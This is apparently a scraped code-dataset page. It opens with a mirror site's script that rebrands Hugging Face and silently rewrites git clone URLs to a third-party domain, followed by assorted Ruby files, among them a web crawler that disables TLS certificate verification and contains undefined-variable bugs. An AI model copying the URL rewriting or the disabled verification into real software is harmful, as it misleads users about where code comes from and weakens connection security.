{ // 获取包含Hugging Face文本的span元素 const spans = link.querySelectorAll('span.whitespace-nowrap, span.hidden.whitespace-nowrap'); spans.forEach(span => { if (span.textContent && span.textContent.trim().match(/Hugging\s*Face/i)) { span.textContent = 'AI快站'; } }); }); // 替换logo图片的alt属性 document.querySelectorAll('img[alt*="Hugging"], img[alt*="Face"]').forEach(img => { if (img.alt.match(/Hugging\s*Face/i)) { img.alt = 'AI快站 logo'; } }); } // 替换导航栏中的链接 function replaceNavigationLinks() { // 已替换标记,防止重复运行 if (window._navLinksReplaced) { return; } // 已经替换过的链接集合,防止重复替换 const replacedLinks = new Set(); // 只在导航栏区域查找和替换链接 const headerArea = document.querySelector('header') || document.querySelector('nav'); if (!headerArea) { return; } // 在导航区域内查找链接 const navLinks = headerArea.querySelectorAll('a'); navLinks.forEach(link => { // 如果已经替换过,跳过 if (replacedLinks.has(link)) return; const linkText = link.textContent.trim(); const linkHref = link.getAttribute('href') || ''; // 替换Spaces链接 - 仅替换一次 if ( (linkHref.includes('/spaces') || linkHref === '/spaces' || linkText === 'Spaces' || linkText.match(/^s*Spacess*$/i)) && linkText !== 'OCR模型免费转Markdown' && linkText !== 'OCR模型免费转Markdown' ) { link.textContent = 'OCR模型免费转Markdown'; link.href = 'https://fast360.xyz'; link.setAttribute('target', '_blank'); link.setAttribute('rel', 'noopener noreferrer'); replacedLinks.add(link); } // 删除Posts链接 else if ( (linkHref.includes('/posts') || linkHref === '/posts' || linkText === 'Posts' || linkText.match(/^s*Postss*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } // 替换Docs链接 - 仅替换一次 else if ( (linkHref.includes('/docs') || linkHref === '/docs' || linkText === 'Docs' || linkText.match(/^s*Docss*$/i)) && linkText !== '模型下载攻略' ) { link.textContent = '模型下载攻略'; link.href = '/'; replacedLinks.add(link); } // 删除Enterprise链接 else if ( (linkHref.includes('/enterprise') || linkHref === '/enterprise' || linkText === 'Enterprise' || linkText.match(/^s*Enterprises*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } }); // 查找可能嵌套的Spaces和Posts文本 const textNodes = []; function findTextNodes(element) { if (element.nodeType === Node.TEXT_NODE) { const text = element.textContent.trim(); if (text === 'Spaces' || text === 'Posts' || text === 'Enterprise') { textNodes.push(element); } } else { for (const child of element.childNodes) { findTextNodes(child); } } } // 只在导航区域内查找文本节点 findTextNodes(headerArea); // 替换找到的文本节点 textNodes.forEach(node => { const text = node.textContent.trim(); if (text === 'Spaces') { node.textContent = node.textContent.replace(/Spaces/g, 'OCR模型免费转Markdown'); } else if (text === 'Posts') { // 删除Posts文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } else if (text === 'Enterprise') { // 删除Enterprise文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } }); // 标记已替换完成 window._navLinksReplaced = true; } // 替换代码区域中的域名 function replaceCodeDomains() { // 特别处理span.hljs-string和span.njs-string元素 document.querySelectorAll('span.hljs-string, span.njs-string, span[class*="hljs-string"], span[class*="njs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换hljs-string类的span中的域名(移除多余的转义符号) document.querySelectorAll('span.hljs-string, span[class*="hljs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换pre和code标签中包含git clone命令的域名 document.querySelectorAll('pre, code').forEach(element => { if (element.textContent && element.textContent.includes('git clone')) { const text = element.innerHTML; if (text.includes('huggingface.co')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 处理特定的命令行示例 document.querySelectorAll('pre, code').forEach(element => { const text = element.innerHTML; if (text.includes('huggingface.co')) { // 针对git clone命令的专门处理 if (text.includes('git clone') || text.includes('GIT_LFS_SKIP_SMUDGE=1')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 特别处理模型下载页面上的代码片段 document.querySelectorAll('.flex.border-t, .svelte_hydrator, .inline-block').forEach(container => { const content = container.innerHTML; if (content && content.includes('huggingface.co')) { container.innerHTML = content.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 特别处理模型仓库克隆对话框中的代码片段 try { // 查找包含"Clone this model repository"标题的对话框 const cloneDialog = document.querySelector('.svelte_hydration_boundary, [data-target="MainHeader"]'); if (cloneDialog) { // 查找对话框中所有的代码片段和命令示例 const codeElements = cloneDialog.querySelectorAll('pre, code, span'); codeElements.forEach(element => { if (element.textContent && element.textContent.includes('huggingface.co')) { if (element.innerHTML.includes('huggingface.co')) { element.innerHTML = element.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { element.textContent = element.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); } // 更精确地定位克隆命令中的域名 document.querySelectorAll('[data-target]').forEach(container => { const codeBlocks = container.querySelectorAll('pre, code, span.hljs-string'); codeBlocks.forEach(block => { if (block.textContent && block.textContent.includes('huggingface.co')) { if (block.innerHTML.includes('huggingface.co')) { block.innerHTML = block.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { block.textContent = block.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); }); } catch (e) { // 错误处理但不打印日志 } } // 当DOM加载完成后执行替换 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', () => { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); }); } else { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); } // 增加一个MutationObserver来处理可能的动态元素加载 const observer = new MutationObserver(mutations => { // 检查是否导航区域有变化 const hasNavChanges = mutations.some(mutation => { // 检查是否存在header或nav元素变化 return Array.from(mutation.addedNodes).some(node => { if (node.nodeType === Node.ELEMENT_NODE) { // 检查是否是导航元素或其子元素 if (node.tagName === 'HEADER' || node.tagName === 'NAV' || node.querySelector('header, nav')) { return true; } // 检查是否在导航元素内部 let parent = node.parentElement; while (parent) { if (parent.tagName === 'HEADER' || parent.tagName === 'NAV') { return true; } parent = parent.parentElement; } } return false; }); }); // 只在导航区域有变化时执行替换 if (hasNavChanges) { // 重置替换状态,允许再次替换 window._navLinksReplaced = false; replaceHeaderBranding(); replaceNavigationLinks(); } }); // 开始观察document.body的变化,包括子节点 if (document.body) { observer.observe(document.body, { childList: true, subtree: true }); } else { document.addEventListener('DOMContentLoaded', () => { observer.observe(document.body, { childList: true, subtree: true }); }); } })(); \n |\n \n \n filename = DateTime.now.strftime(\"./StorageReport_%Y_%m_%d-%H_%M_%S.html\")\n puts \"Writing html file #{filename}\"\n f = File.open(filename, 'w+')\n f.write(the_html)\n f.close\n \n end\n \n \n def get_basic_disk_info\n # df -l gets info about locally-mounted filesystems\n output = `df -k`\n \n # OSX:\n # Filesystem 1024-blocks Used Available Capacity iused ifree %iused Mounted on\n # /dev/disk1 975912960 349150592 626506368 36% 87351646 156626592 36% /\n # localhost:/QwnJE6UBvlR1EvqouX6gMM 975912960 975912960 0 100% 0 0 100% /Volumes/MobileBackups\n \n # CentOS:\n # Filesystem 1K-blocks Used Available Use% Mounted on\n # /dev/xvda1 82436764 3447996 78888520 5% /\n # devtmpfs 15434608 56 15434552 1% /dev\n # tmpfs 15443804 0 15443804 0% /dev/shm\n \n # Ubuntu:\n # Filesystem 1K-blocks Used Available Use% Mounted on\n # /dev/xvda1 30832636 797568 28676532 3% /\n # none 4 0 4 0% /sys/fs/cgroup\n # udev 3835900 12 3835888 1% /dev\n # tmpfs 769376 188 769188 1% /run\n # none 5120 0 5120 0% /run/lock\n # none 3846876 0 3846876 0% /run/shm\n # none 102400 0 102400 0% /run/user\n # /dev/xvdb 30824956 45124 29207352 1% /mnt\n\n # Populate disk info into a hash of hashes\n # {\"/\"=>\n # {\"capacity\"=>498876809216, \"used\"=>434777001984, \"available\"=>63837663232},\n # \"/Volumes/MobileBackups\"=>\n # {\"capacity\"=>498876809216, \"used\"=>498876809216, \"available\"=>0}\n # }\n\n # get each mount's capacity & utilization\n output.lines.each_with_index do |line, index|\n if (index == 0)\n # skip the header line\n next\n end\n cols = line.split\n # [\"Filesystem\", \"1024-blocks\", \"Used\", \"Available\", \"Capacity\", \"iused\", \"ifree\", \"%iused\", \"Mounted\", \"on\"]\n # line: [\"/dev/disk1\", \"974368768\", \"849157528\", \"124699240\", \"88%\", \"106208689\", \"15587405\", \"87%\", \"/\"]\n \n if cols.length == 9\n # OSX\n self.diskhash[cols[8]] = {\n 'capacity' => (cols[1].to_i ).to_i,\n 'used' => (cols[2].to_i ).to_i,\n 'available' => (cols[3].to_i ).to_i\n }\n elsif cols.length == 6\n # Ubuntu & CentOS\n self.diskhash[cols[5]] = {\n 'capacity' => (cols[1].to_i ).to_i,\n 'used' => (cols[2].to_i ).to_i,\n 'available' => (cols[3].to_i ).to_i\n }\n else\n raise \"Reported disk utilization not understood\"\n end\n end\n\n # puts \"Disk mount info:\"\n # pp diskhash\n\n\n # find the (self.)target_volume \n # look through diskhash keys, to find the one that most matches target_dir\n val_of_min = 1000\n # puts \"Determining which volume contains the target directory..\"\n self.diskhash.keys.each do |volume|\n result = self.target_dir.gsub(volume, '')\n diskhash['match_amt'] = result.length\n # puts \"Considering:\\t#{volume}, \\t closeness: #{result.length}, \\t (#{result})\"\n if (result.length < val_of_min)\n # puts \"Candidate: #{volume}\"\n val_of_min = result.length\n self.target_volume = volume\n end\n end \n \n puts \"Target volume is #{self.target_volume}\"\n \n\n self.capacity = self.diskhash[self.target_volume]['capacity']\n self.used = self.diskhash[self.target_volume]['used']\n self.available = self.diskhash[self.target_volume]['available']\n\n self.capacity_gb = \"#{'%.0f' % (self.capacity.to_i / 1024 / 1024)}\"\n self.used_gb = \"#{'%.0f' % (self.used.to_i / 1024 / 1024)}\"\n self.available_gb = \"#{'%.0f' % (self.available.to_i / 1024 / 1024)}\"\n\n self.dir_tree = DirNode.new(nil, self.target_volume, self.target_volume, self.capacity)\n self.dir_tree.children.push(DirNode.new(self.dir_tree, 'Free Space', 'Free Space', self.available_gb))\n\n end\n \n \n # Crawl the dirs recursively, beginning with the target dir\n def analyze_dirs(dir_to_analyze, parent)\n\n\n # bootstrap case\n # don't create an entry for the root because there's nothing to link to yet, scan the subdirs\n if (dir_to_analyze == self.target_volume)\n # puts \"Dir to analyze is the target volume\"\n # run on all child dirs, not this dir\n Dir.entries(dir_to_analyze).reject {|d| d.start_with?('.')}.each do |name|\n # puts \"\\tentry: >#{file}<\"\n full_path = File.join(dir_to_analyze, name)\n if (Dir.exist?(full_path) && !File.symlink?(full_path))\n # puts \"Contender: >#{full_path}<\"\n analyze_dirs(full_path, self.dir_tree)\n end\n end\n return\n end\n\n # use \"P\" to help prevent following any symlinks\n cmd = \"du -sxkP \\\"#{dir_to_analyze}\\\"\"\n puts \"\\trunning #{cmd}\"\n output = `#{cmd}`.strip().split(\"\\t\")\n # puts \"Du output:\"\n # pp output\n size = output[0].to_i \n size_gb = \"#{'%.0f' % (size.to_f / 1024 / 1024)}\"\n # puts \"Size: #{size}\\nCapacity: #{self.diskhash['/']['capacity']}\"\n\n # Occupancy as a fraction of total space\n # occupancy = (size.to_f / self.capacity.to_f)\n\n # Occupancy as a fraction of USED space\n occupancy = (size.to_f / self.used.to_f)\n\n occupancy_pct = \"#{'%.0f' % (occupancy * 100)}\"\n capacity_gb = \"#{'%.0f' % (self.capacity.to_f / 1024 / 1024)}\"\n \n # if this dir contains more than 5% of disk space, add it to the tree\n\n if (dir_to_analyze == self.target_dir)\n # puts \"Dir to analyze is the target dir, space used outside this dir..\"\n # account for space used outside of target dir\n other_space = self.used - size\n other_space_gb = \"#{'%.0f' % (other_space / 1024 / 1024)}\"\n parent.children.push(DirNode.new(parent, self.target_volume, 'Other Space', other_space_gb))\n end\n \n \n if (occupancy > self.threshold_pct)\n # puts \"Dir contains more than 5% of disk space: #{dir_to_analyze} \\n\\tsize:\\t#{size_gb} / \\ncapacity:\\t#{capacity_gb} = #{occupancy_pct}%\"\n puts \"Dir contains more than 5% of used disk space: #{dir_to_analyze} \\n\\tsize:\\t\\t#{size_gb} / \\n\\toccupancy:\\t#{self.used_gb} = #{occupancy_pct}% of used space\"\n\n # puts \"Dir to analyze (#{dir_to_analyze}) is not the target dir (#{self.target_dir})\"\n dirs = dir_to_analyze.split('/')\n \n short_dir = dirs.pop().gsub(\"'\",\"\\\\\\\\'\")\n full_parent = dirs.join('/')\n if (dir_to_analyze == self.target_dir || full_parent == self.target_volume)\n # puts \"Either this dir is the target dir, or the parent is the target volume, make parent the full target volume\"\n short_parent = self.target_volume.gsub(\"'\",\"\\\\\\\\'\")\n else\n # puts \"Neither this dir or parent is the target dir, making parent short\"\n short_parent = dirs.pop().gsub(\"'\",\"\\\\\\\\'\")\n end\n \n\n this_node = DirNode.new(parent, dir_to_analyze, short_dir, size_gb)\n parent.children.push(this_node)\n\n # run on all child dirs\n Dir.entries(dir_to_analyze).reject {|d| d.start_with?('.')}.each do |name|\n full_path = File.join(dir_to_analyze, name)\n # don't follow any symlinks\n if (Dir.exist?(full_path) && !File.symlink?(full_path))\n # puts \"Contender: >#{full_path}<\"\n analyze_dirs(full_path, this_node)\n end\n end\n \n end # occupancy > threshold\n \n end # function\n \n\n \n def traverse_tree_and_remove_duplicates\n puts \"\\nHandling duplicate entries..\"\n nodes = []\n nodes.push(self.dir_tree)\n comparison_list = []\n while true\n if (nodes.length == 0)\n break\n end\n \n node = nodes.shift\n comparison_list.push(node)\n # pp node\n if node.parent == nil\n # puts \"\\tparent: no parent \\n\\tdir: #{node.dir_name} \\n\\tshort: #{node.dir_short} \\n\\tsize: #{node.size_gb}\"\n else \n # puts \"\\tparent: #{node.parent.dir_short.to_s} \\n\\tdir: #{node.dir_name} \\n\\tshort: #{node.dir_short} \\n\\tsize: #{node.size_gb}\"\n end\n nodes.concat(node.children)\n end\n # puts \"Done building node list\"\n \n \n \n for i in 0..comparison_list.length do\n for j in 0..comparison_list.length do\n if (comparison_list[i] != nil && comparison_list[j] != nil)\n if (i != j && comparison_list[i].dir_short == comparison_list[j].dir_short)\n puts \"\\t#{comparison_list[i].dir_short} is the same as #{comparison_list[j].dir_short}, changing to #{comparison_list[j].dir_short}*\"\n comparison_list[j].dir_short = \"#{comparison_list[j].dir_short}*\"\n end\n end\n end\n end\n puts \"Duplicate handling complete\"\n \n end\n \n\n \n def run\n self.get_basic_disk_info\n self.analyze_dirs(self.target_dir, self.dir_tree)\n self.traverse_tree_and_remove_duplicates\n self.format_data_for_the_chart\n self.write_storage_report\n \n end\n \nend\n\n\n\ndef run\n \n if (ARGV.length > 0)\n if (ARGV[0] == '-h')\n StorageVisualizer.print_usage()\n return\n elsif (ARGV[0] == '-i' || ARGV[0] == '--install')\n StorageVisualizer.install\n StorageVisualizer.print_usage\n return\n end\n vs = StorageVisualizer.new(ARGV[0])\n else\n vs = StorageVisualizer.new()\n end\n\n # puts \"\\nRunning visualization\"\n vs.run()\n \n # puts \"dumping tree: \"\n # pp vs.tree\n # puts \"Formatted tree\\n#{vs.tree_formatted}\"\n \nend\n\n\n# Detect whether being called from command line or API. If command line, run\nif (File.basename($0) == File.basename(__FILE__))\n # puts \"Being called from command line - running\"\n run\nelse \n # puts \"#{__FILE__} being loaded from API, not running\"\nend\n\n\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1115,"cells":{"blob_id":{"kind":"string","value":"5458519e8b63bce252b9242cc0e7923b55090385"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"davidhuff2014/testproject"},"path":{"kind":"string","value":"/good_dog.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":427,"string":"427"},"score":{"kind":"number","value":3.796875,"string":"3.796875"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"module Speak\r\n def speak(sound)\r\n puts \"#{sound}\"\r\n end\r\nend\r\n\r\n# defines a good dog\r\nclass GoodDog\r\n include Speak\r\nend\r\n\r\n# what people do too much of\r\nclass HumanBeing\r\n include Speak\r\nend\r\n\r\n# sparky = GoodDog.new\r\n# sparky.speak('Arf!')\r\n# bob = HumanBeing.new\r\n# bob.speak('Hello!')\r\n\r\nputs '--- GoodDog ancestors---'\r\nputs GoodDog.ancestors\r\nputs ''\r\nputs '---HumanBeing ancestors---'\r\nputs HumanBeing.ancestors\r\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1116,"cells":{"blob_id":{"kind":"string","value":"fddc3e91bd77c7200bcbfc71ffe5505b920f2c81"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"nessamurmur/codeclimate-services"},"path":{"kind":"string","value":"/test/invocation_test.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":2916,"string":"2,916"},"score":{"kind":"number","value":2.546875,"string":"2.546875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT","LicenseRef-scancode-unknown-license-reference"],"string":"[\n \"MIT\",\n \"LicenseRef-scancode-unknown-license-reference\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"require File.expand_path('../helper', __FILE__)\n\nclass TestInvocation < Test::Unit::TestCase\n def test_success\n service = FakeService.new(:some_result)\n\n result = CC::Service::Invocation.invoke(service)\n\n assert_equal 1, service.receive_count\n assert_equal :some_result, result\n end\n\n def test_retries\n service = FakeService.new\n service.raise_on_receive = true\n error_occurred = false\n\n begin\n CC::Service::Invocation.invoke(service) do |i|\n i.with :retries, 3\n end\n rescue\n error_occurred = true\n end\n\n assert error_occurred\n assert_equal 1 + 3, service.receive_count\n end\n\n def test_metrics\n statsd = FakeStatsd.new\n\n CC::Service::Invocation.invoke(FakeService.new) do |i|\n i.with :metrics, statsd, \"a_prefix\"\n end\n\n assert_equal 1, statsd.incremented_keys.length\n assert_equal \"services.invocations.a_prefix\", statsd.incremented_keys.first\n end\n\n def test_metrics_on_errors\n statsd = FakeStatsd.new\n service = FakeService.new\n service.raise_on_receive = true\n error_occurred = false\n\n begin\n CC::Service::Invocation.invoke(service) do |i|\n i.with :metrics, statsd, \"a_prefix\"\n end\n rescue\n error_occurred = true\n end\n\n assert error_occurred\n assert_equal 1, statsd.incremented_keys.length\n assert_match /^services\\.errors\\.a_prefix/, statsd.incremented_keys.first\n end\n\n def test_error_handling\n logger = FakeLogger.new\n service = FakeService.new\n service.raise_on_receive = true\n\n result = CC::Service::Invocation.invoke(service) do |i|\n i.with :error_handling, logger, \"a_prefix\"\n end\n\n assert_nil result\n assert_equal 1, logger.logged_errors.length\n assert_match /^Exception invoking service: \\[a_prefix\\]/, logger.logged_errors.first\n end\n\n def test_multiple_middleware\n service = FakeService.new\n service.raise_on_receive = true\n logger = FakeLogger.new\n\n result = CC::Service::Invocation.invoke(service) do |i|\n i.with :retries, 3\n i.with :error_handling, logger\n end\n\n assert_nil result\n assert_equal 1 + 3, service.receive_count\n assert_equal 1, logger.logged_errors.length\n end\n\n private\n\n class FakeService\n attr_reader :receive_count\n attr_accessor :raise_on_receive\n\n def initialize(result = nil)\n @result = result\n @receive_count = 0\n end\n\n def receive\n @receive_count += 1\n\n if @raise_on_receive\n raise \"Boom\"\n end\n\n @result\n end\n end\n\n class FakeStatsd\n attr_reader :incremented_keys\n\n def initialize\n @incremented_keys = Set.new\n end\n\n def increment(key)\n @incremented_keys << key\n end\n\n def timing(key, value)\n end\n end\n\n class FakeLogger\n attr_reader :logged_errors\n\n def initialize\n @logged_errors = []\n end\n\n def error(message)\n @logged_errors << message\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1117,"cells":{"blob_id":{"kind":"string","value":"92759e9ed09523b228b260a28dcd19047a9b5769"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"peckapp/webservice"},"path":{"kind":"string","value":"/app/workers/crawl/crawler.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":3758,"string":"3,758"},"score":{"kind":"number","value":2.65625,"string":"2.65625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"module Crawl\n # this class handles the main crawl loop and dispatches other workers to parse individual pages\n class Crawler\n include Sidekiq::Worker\n include Sidetiq::Schedulable\n\n recurrence { daily }\n\n # bloom filter as a persistent class variable\n # use is for efficiency, not accuracy, so occasional race conditions won't matter if integrity is maintained\n # could fork bloomfilter-rb gem to add locking if necessary...\n @@bf = nil\n\n def perform(*_attrs)\n CrawlSeed.all.each do |seed|\n crawl_loop(seed.url, seed.institution_id) if seed.active\n end\n end\n\n private\n\n def crawl_loop(seed_url, inst_id, timeout = 8, page_quantity = 15_000, bf_bits = 15)\n # mechanize agent to perform the link traversals, no ssl verification for crawling process to eliminate certificate errors\n agent = Mechanize.new { |a| a.ssl_version, a.verify_mode = 'SSLv3', OpenSSL::SSL::VERIFY_NONE }\n agent.read_timeout = timeout\n agent.open_timeout = timeout\n\n # queue to store the links for this crawl\n crawl_queue = []\n\n # bloom filter to prevent repeated page crawls, instantiated only if currently nil\n k = (0.7 * bf_bits).ceil\n @@bf = BloomFilter::Native.new(size: page_quantity, hashes: k, seed: 1) if @@bf.blank?\n\n seed_host = URI(seed_url).host.to_s # host of the seed url used for domain matching\n\n # inserts a url into the queue as a seed\n crawl_queue.insert(0, seed_url)\n\n until @crawl_queue.empty?\n url = @crawl_queue.pop\n\n page = agent.get(url)\n\n next unless page.is_a? Mechanize::Page\n\n page.links.each do |l|\n next if @@bf.include?(l.href.to_s) # link has already been traversed\n @@bf.insert(l.href.to_s) # otherwise insert it\n\n # necessary conditions for the link to be followed\n next unless acceptable_link_format?(l) && within_domain?(l.uri, seed_host)\n\n begin\n # add the link string to the front of the queue\n crawl_queue.insert(0, l.to_s)\n rescue Timeout::Error\n # resuest timed out, could repeat it or add to queue, but for now just continue on\n rescue Mechanize::ResponseCodeError => exception\n # handle various response code errors\n if exception.response_code == '403'\n new_page = exception.page\n else\n raise # Some other error, re-raise for now\n end\n end\n\n ### Sends off the task asynchronously to another worker ###\n PageCrawlAnalyzer.perform_async(new_page.uri.to_s, inst_id)\n\n # sleep time to keep the crawl interval unpredictable and prevent lockout from certain sites\n sleep(1 + rand)\n\n end # end inner link traversal\n\n end # end outer while loop\n end # end crawl_loop method\n\n ### utility methods for the crawler\n\n def acceptable_link_format?(link)\n begin\n return false if link.to_s.match(/#/) || link.uri.to_s.empty? # handles anchor links within the page\n scheme = link.uri.scheme\n return false if (!scheme.nil?) && (scheme != 'http') && (scheme != 'https') # eliminates non http,https, or relative links\n # prevents download of media files, should be a better way to do this than by explicit checks for each type\n return false if link.to_s.match(/.pdf|.jgp|.jgp2|.png|.gif/)\n rescue\n return false\n end\n true\n end\n\n def within_domain?(link, root)\n if link.relative?\n true # handles relative links within the site\n else\n # matches the current links host with the top-level domain string of the seed URI\n link.host.match(root.to_s) ? true : false\n end\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1118,"cells":{"blob_id":{"kind":"string","value":"5055d6c76603fabaab4c59f8d34896e1ba9f1906"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"sbcn7/atcoder-by-ruby"},"path":{"kind":"string","value":"/abc008/D.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":240,"string":"240"},"score":{"kind":"number","value":3.140625,"string":"3.140625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"# http://abc008.contest.atcoder.jp/tasks/abc008_4\n\nW, H = gets.split.map(&:to_i)\nN = gets.to_i\nXY = []\n\nN.times do\n XY.push gets.split.map(&:to_i)\nend\n\nXY.permutation(N) do |xy|\n xy.each do |x, y|\n # 金塊を回収したい\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1119,"cells":{"blob_id":{"kind":"string","value":"981f8ae2a0582d78c2e7d61273bf6c96cf287f95"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"saheb222/ruby_practice"},"path":{"kind":"string","value":"/basics/gsub_hackerrank.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":292,"string":"292"},"score":{"kind":"number","value":3.515625,"string":"3.515625"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"def strike(str)\n \"#{str}\"\nend\n\n\ndef mask_article(str,str_arr=[])\n\t\tmy_str = str\n\t\tstr_arr.each do |ar_str|\n\t\t\tif my_str.include?(ar_str)\n\t\t\t\tmy_str = my_str.gsub(\"#{ar_str}\",strike(ar_str))\n\t\t\tend\n end\n my_str\nend\n\n\nputs mask_article(\"i am saheb seikh\",[\"i\",\"seikh\"])"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1120,"cells":{"blob_id":{"kind":"string","value":"fd71f6b00a022ff7389e2fd52fa311f570fda015"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"teoucsb82/pokemongodb"},"path":{"kind":"string","value":"/lib/pokemongodb/pokemon/farfetchd.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1327,"string":"1,327"},"score":{"kind":"number","value":2.71875,"string":"2.71875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"class Pokemongodb\n class Pokemon\n class Farfetchd < Pokemon\n def self.id\n 83\n end\n\n def self.base_attack\n 138\n end\n\n def self.base_defense\n 132\n end\n\n def self.base_stamina\n 104\n end\n\n def self.buddy_candy_distance\n 2\n end\n\n def self.capture_rate\n 0.24\n end\n\n def self.cp_gain\n 18\n end\n\n def self.description\n \"Farfetch'd is always seen with a stalk from a plant of some sort. Apparently, there are good stalks and bad stalks. This Pokémon has been known to fight with others over stalks.\"\n end\n \n def self.egg_hatch_distance\n 5\n end\n\n def self.flee_rate\n 0.09\n end\n\n def self.height\n 0.8\n end\n\n def self.max_cp\n 1263.89\n end\n\n def self.moves\n [\n Pokemongodb::Move::FuryCutter,\n Pokemongodb::Move::Cut,\n Pokemongodb::Move::AerialAce,\n Pokemongodb::Move::AirCutter,\n Pokemongodb::Move::LeafBlade\n ]\n end\n\n def self.name\n \"farfetchd\"\n end\n\n def self.types\n [\n Pokemongodb::Type::Normal,\n Pokemongodb::Type::Flying\n ]\n end\n\n def self.weight\n 15.0\n end\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1121,"cells":{"blob_id":{"kind":"string","value":"589d3c0cd41a0cecbd255258c486ccc1714379de"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"clynchga/class_4_hw"},"path":{"kind":"string","value":"/name_programs.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":390,"string":"390"},"score":{"kind":"number","value":4.1875,"string":"4.1875"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"# Write a program that asks the user for her name and greets her with her name\n\nputs \"Enter your name \"\nusername = gets.chomp.capitalize\nputs \"Hello #{username}!\"\n\n# Change the previous name program such that only the users Jack or Jill are greeted\n\nputs \"Enter your name \"\nusername = gets.chomp.capitalize\nif username == \"Jack\" || username == \"Jill\"\n\tputs \"Hello #{username}!\"\nelse \nend \n\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1122,"cells":{"blob_id":{"kind":"string","value":"fef83c3a0d90d900dde713d8734b7f5d029b9c8d"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"puremana/f2pehp"},"path":{"kind":"string","value":"/app/services/hiscores.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":5761,"string":"5,761"},"score":{"kind":"number","value":2.59375,"string":"2.59375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["BSD-3-Clause","MIT"],"string":"[\n \"BSD-3-Clause\",\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"require 'open-uri'\n\nclass Hiscores\n extend Base\n\n REG_MODE = %w[Reg].freeze\n IRONMAN_MODES = %w[UIM HCIM IM].freeze\n ALL_MODES = %w[UIM HCIM IM Reg].freeze\n\n class << self\n def fetch_stats_by_acc(player_name, account_type)\n stats_uri = api_url(account_type, player_name)\n res = fetch(stats_uri)\n if res\n data = res.split(\"\\n\")\n parsed_data = parse_stats(data)\n return parsed_data\n else\n return false\n end\n end\n\n def fetch_stats(player_name, account_type: nil)\n parse_fields = [parse_fields] unless Array === 